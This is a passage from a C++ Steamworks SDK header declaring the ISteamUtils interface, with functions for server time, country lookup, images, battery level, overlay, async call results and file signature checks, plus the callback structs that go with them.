client is connecting to virtual EUniverse GetConnectedUniverse() = 0; // Steam server time - in PST, number of seconds since January 1, 1970 (i.e unix time) virtual uint32 GetServerRealTime() = 0; // returns the 2 digit ISO 3166-1-alpha-2 format country code this client is running in (as looked up via an IP-to-location database) // e.g "US" or "UK". virtual const char *GetIPCountry() = 0; // returns true if the image exists, and valid sizes were filled out virtual bool GetImageSize( int iImage, uint32 *pnWidth, uint32 *pnHeight ) = 0; // returns true if the image exists, and the buffer was successfully filled out // results are returned in RGBA format // the destination buffer size should be 4 * height * width * sizeof(char) virtual bool GetImageRGBA( int iImage, uint8 *pubDest, int nDestBufferSize ) = 0; // returns the IP of the reporting server for valve - currently only used in Source engine games virtual bool GetCSERIPPort( uint32 *unIP, uint16 *usPort ) = 0; // return the amount of battery power left in the current system in % [0..100], 255 for being on AC power virtual uint8 GetCurrentBatteryPower() = 0; // returns the appID of the current process virtual uint32 GetAppID() = 0; // Sets the position where the overlay instance for the currently calling game should show notifications. // This position is per-game and if this function is called from outside of a game context it will do nothing. virtual void SetOverlayNotificationPosition( ENotificationPosition eNotificationPosition ) = 0; // API asynchronous call results // can be used directly, but more commonly used via the callback dispatch API (see steam_api.h) virtual bool IsAPICallCompleted( SteamAPICall_t hSteamAPICall, bool *pbFailed ) = 0; virtual ESteamAPICallFailure GetAPICallFailureReason( SteamAPICall_t hSteamAPICall ) = 0; virtual bool GetAPICallResult( SteamAPICall_t hSteamAPICall, void *pCallback, int cubCallback, int iCallbackExpected, bool *pbFailed ) = 0; // this needs to be called every frame to process matchmaking results // redundant if you're already calling SteamAPI_RunCallbacks() virtual void RunFrame() = 0; // returns the number of IPC calls made since the last time this function was called // Used for perf debugging so you can understand how many IPC calls your game makes per frame // Every IPC call is at minimum a thread context switch if not a process one so you want to rate // control how often you do them. virtual uint32 GetIPCCallCount() = 0; // API warning handling // 'int' is the severity; 0 for msg, 1 for warning // 'const char *' is the text of the message // callbacks will occur directly after the API function is called that generated the warning or message virtual void SetWarningMessageHook( SteamAPIWarningMessageHook_t pFunction ) = 0; // Returns true if the overlay is running & the user can access it. The overlay process could take a few seconds to // start & hook the game process, so this function will initially return false while the overlay is loading. virtual bool IsOverlayEnabled() = 0; // Normally this call is unneeded if your game has a constantly running frame loop that calls the // D3D Present API, or OGL SwapBuffers API every frame. // // However, if you have a game that only refreshes the screen on an event driven basis then that can break // the overlay, as it uses your Present/SwapBuffers calls to drive it's internal frame loop and it may also // need to Present() to the screen any time an even needing a notification happens or when the overlay is // brought up over the game by a user. You can use this API to ask the overlay if it currently need a present // in that case, and then you can check for this periodically (roughly 33hz is desirable) and make sure you // refresh the screen with Present or SwapBuffers to allow the overlay to do it's work. virtual bool BOverlayNeedsPresent() = 0; #ifndef _PS3 // Asynchronous call to check if an executable file has been signed using the public key set on the signing tab // of the partner site, for example to refuse to load modified executable files. // The result is returned in CheckFileSignature_t. // k_ECheckFileSignatureNoSignaturesFoundForThisApp - This app has not been configured on the signing tab of the partner site to enable this function. // k_ECheckFileSignatureNoSignaturesFoundForThisFile - This file is not listed on the signing tab for the partner site. // k_ECheckFileSignatureFileNotFound - The file does not exist on disk. // k_ECheckFileSignatureInvalidSignature - The file exists, and the signing tab has been set for this file, but the file is either not signed or the signature does not match. // k_ECheckFileSignatureValidSignature - The file is signed and the signature is valid. virtual SteamAPICall_t CheckFileSignature( const char *szFileName ) = 0; #endif #ifdef _PS3 virtual void PostPS3SysutilCallback( uint64_t status, uint64_t param, void* userdata ) = 0; virtual bool BIsReadyToShutdown() = 0; virtual bool BIsPSNOnline() = 0; // Call this with localized strings for the language the game is running in, otherwise default english // strings will be used by Steam. virtual void SetPSNGameBootInviteStrings( const char *pchSubject, const char *pchBody ) = 0; #endif // Activates the Big Picture text input dialog which only supports gamepad input virtual bool ShowGamepadTextInput( EGamepadTextInputMode eInputMode, EGamepadTextInputLineMode eLineInputMode, const char *pchDescription, uint32 unCharMax, const char *pchExistingText ) = 0; // Returns previously entered text & length virtual uint32 GetEnteredGamepadTextLength() = 0; virtual bool GetEnteredGamepadTextInput( char *pchText, uint32 cchText ) = 0; // returns the language the steam client is running in, you probably want ISteamApps::GetCurrentGameLanguage instead, this is for very special usage cases virtual const char *GetSteamUILanguage() = 0; // returns true if Steam itself is running in VR mode virtual bool IsSteamRunningInVR() = 0; }; #define STEAMUTILS_INTERFACE_VERSION "SteamUtils007" // callbacks #if defined( VALVE_CALLBACK_PACK_SMALL ) #pragma pack( push, 4 ) #elif defined( VALVE_CALLBACK_PACK_LARGE ) #pragma pack( push, 8 ) #else #error isteamclient.h must be included #endif //----------------------------------------------------------------------------- // Purpose: The country of the user changed //----------------------------------------------------------------------------- struct IPCountry_t { enum { k_iCallback = k_iSteamUtilsCallbacks + 1 }; }; //----------------------------------------------------------------------------- // Purpose: Fired when running on a laptop and less than 10 minutes of battery is left, fires then every minute //----------------------------------------------------------------------------- struct LowBatteryPower_t { enum { k_iCallback = k_iSteamUtilsCallbacks + 2 }; uint8 m_nMinutesBatteryLeft; }; //----------------------------------------------------------------------------- // Purpose: called when a SteamAsyncCall_t has completed (or failed) //----------------------------------------------------------------------------- struct SteamAPICallCompleted_t { enum { k_iCallback = k_iSteamUtilsCallbacks + 3 }; SteamAPICall_t m_hAsyncCall; }; //----------------------------------------------------------------------------- // called when Steam wants to shutdown //----------------------------------------------------------------------------- struct SteamShutdown_t { enum { k_iCallback = k_iSteamUtilsCallbacks + 4 }; }; //----------------------------------------------------------------------------- // results for CheckFileSignature //----------------------------------------------------------------------------- enum ECheckFileSignature { k_ECheckFileSignatureInvalidSignature = 0, k_ECheckFileSignatureValidSignature = 1, k_ECheckFileSignatureFileNotFound = 2, k_ECheckFileSignatureNoSignaturesFoundForThisApp = 3, k_ECheckFileSignatureNoSignaturesFoundForThisFile = 4, }; //----------------------------------------------------------------------------- // callback for CheckFileSignature //----------------------------------------------------------------------------- struct CheckFileSignature_t { enum { k_iCallback = k_iSteamUtilsCallbacks + 5 }; ECheckFileSignature m_eCheckFileSignature; }; #ifdef _PS3 //----------------------------------------------------------------------------- // callback for NetCtlNetStartDialog finishing on PS3 //----------------------------------------------------------------------------- struct NetStartDialogFinished_t { enum { k_iCallback = k_iSteamUtilsCallbacks + 6 }; }; //----------------------------------------------------------------------------- // callback for NetCtlNetStartDialog unloaded on PS3 //----------------------------------------------------------------------------- struct NetStartDialogUnloaded_t { enum { k_iCallback = k_iSteamUtilsCallbacks + 7 }; }; //----------------------------------------------------------------------------- // callback for system menu closing on PS3 - should trigger resyncronizing friends list, etc. //----------------------------------------------------------------------------- struct PS3SystemMenuClosed_t { enum { k_iCallback = k_iSteamUtilsCallbacks + 8 }; }; //----------------------------------------------------------------------------- // callback for NP message being selected by user on PS3 - should trigger handling of message if it's a lobby invite, etc. //----------------------------------------------------------------------------- struct PS3NPMessageSelected_t { enum { k_iCallback = k_iSteamUtilsCallbacks + 9 }; uint32 dataid; }; //----------------------------------------------------------------------------- // callback for when the PS3 keyboard dialog closes //----------------------------------------------------------------------------- struct PS3KeyboardDialogFinished_t { enum { k_iCallback = k_iSteamUtilsCallbacks + 10 }; }; // k_iSteamUtilsCallbacks + 11 is taken //----------------------------------------------------------------------------- // callback for PSN status changing on PS3 //----------------------------------------------------------------------------- struct PS3PSNStatusChange_t { enum { k_iCallback = k_iSteamUtilsCallbacks + 12 }; bool m_bPSNOnline; }; #endif // k_iSteamUtilsCallbacks + 13 is taken //----------------------------------------------------------------------------- // Big Picture gamepad text input has been closed //----------------------------------------------------------------------------- struct GamepadTextInputDismissed_t { enum { k_iCallback = k_iSteamUtilsCallbacks + 14 }; bool m_bSubmitted; // true if user entered & accepted text (Call ISteamUtils::GetEnteredGamepadTextInput() for text), false if canceled input uint32 m_unSubmittedText; }; // k_iSteamUtilsCallbacks + 15 is taken #pragma pack( pop ) #endif // ISTEAMUTILS_H
0
0.816701
1
0.816701
game-dev
MEDIA
0.496508
game-dev,networking
0.702187
1
0.702187